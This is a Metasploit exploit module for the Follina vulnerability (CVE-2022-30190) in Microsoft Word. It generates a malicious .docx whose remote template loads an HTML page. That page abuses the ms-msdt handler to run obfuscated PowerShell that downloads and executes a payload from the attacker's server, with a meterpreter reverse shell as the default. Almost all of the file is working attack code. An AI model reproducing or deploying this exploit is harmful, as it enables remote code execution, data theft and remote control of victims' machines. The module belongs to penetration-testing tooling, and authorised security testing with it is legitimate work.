##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Office Word MSDTJS',
'Description' => %q{
This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template
feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.
},
'References' => [
['CVE', '2022-30190'],
['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'],
['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'],
['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'],
['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'],
['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'],
['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190']
],
'Author' => [
'nao sec', # Original disclosure.
'mekhalleh (RAMELLA Sébastien)' # Zeop CyberSecurity
],
'DisclosureDate' => '2022-05-29',
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Payload' => {
'DisableNops' => true
},
'DefaultOptions' => {
'DisablePayloadHandler' => false,
'FILENAME' => 'msf.docx',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'SRVHOST' => Rex::Socket.source_address('1.2.3.4')
},
'Targets' => [
[ 'Microsoft Office Word', {} ]
],
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['Follina'],
'Stability' => [CRASH_SAFE],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']),
OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
])
end
def get_file_in_docx(fname)
i = @docx.find_index { |item| item[:fname] == fname }
unless i
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
end
@docx.fetch(i)[:data]
end
def get_template_path
datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx')
end
def generate_html
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1"
dummy = ''
(1..random_int(61, 100)).each do |_n|
dummy += '//' + rand_text_alpha(100) + "\n"
end
cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')")
js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";"
if datastore['OBFUSCATE']
print_status('Obfuscate JavaScript content')
js_content = Rex::Exploitation::JSObfu.new js_content
js_content = js_content.obfuscate(memory_sensitive: false)
end
html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
html += "\n#{dummy}\n#{js_content}\n"
html += '</script></body></html>'
html
end
def inject_docx
document_xml = get_file_in_docx('word/document.xml')
unless document_xml
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
end
document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
unless document_xml_rels
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
end
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
@docx.each do |entry|
case entry[:fname]
when 'word/_rels/document.xml.rels'
entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}!")
end
end
end
def normalize_uri(*strs)
new_str = strs * '/'
new_str = new_str.gsub!('//', '/') while new_str.index('//')
# makes sure there's a starting slash
unless new_str.start_with?('/')
new_str = '/' + new_str
end
new_str
end
def on_request_uri(cli, request)
header_html = {
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'GET, POST',
'Cache-Control' => 'no-store, no-cache, must-revalidate',
'Content-Type' => 'text/html; charset=UTF-8'
}
if request.method.eql? 'HEAD'
send_response(cli, '', header_html)
elsif request.method.eql? 'OPTIONS'
response = create_response(501, 'Unsupported Method')
response['Content-Type'] = 'text/html'
response.body = ''
cli.send_response(response)
elsif request.raw_uri.to_s.end_with? '.html'
print_status('Sending HTML Payload')
send_response_html(cli, generate_html, header_html)
elsif request.raw_uri.to_s.end_with? '.ps1'
print_status('Sending PowerShell Payload')
send_response(cli, @payload_data, header_html)
end
end
def pack_docx
@docx.each do |entry|
if entry[:data].is_a?(Nokogiri::XML::Document)
entry[:data] = entry[:data].to_s
end
end
Msf::Util::EXE.to_zip(@docx)
end
def primer
print_status('Generating a malicious docx file')
@proto = (datastore['SSL'] ? 'https' : 'http')
template_path = get_template_path
unless File.extname(template_path).downcase.end_with?('.docx')
fail_with(Failure::BadConfig, 'Template is not a docx file!')
end
print_status("Using template '#{template_path}'")
@docx = unpack_docx(template_path)
print_status('Injecting payload in docx document')
inject_docx
print_status("Finalizing docx '#{datastore['FILENAME']}'")
file_create(pack_docx)
@payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
super
end
def random_int(min, max)
rand(max - min) + min
end
def unpack_docx(template_path)
document = []
Zip::File.open(template_path) do |entries|
entries.each do |entry|
if entry.name.downcase.end_with?('.xml', '.rels')
content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
elsif entry.file?
content = entry.get_input_stream.read
end
vprint_status("Parsing item from template: #{entry.name}")
document << { fname: entry.name, data: content }
end
end
document
end
end